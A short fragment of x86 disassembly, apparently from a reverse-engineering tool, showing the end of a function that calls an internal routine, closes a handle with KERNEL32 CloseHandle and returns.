mov edx, dword [ebp - 8]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x2c]
push eax
call fcn.0042a735
add esp, 4
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret 4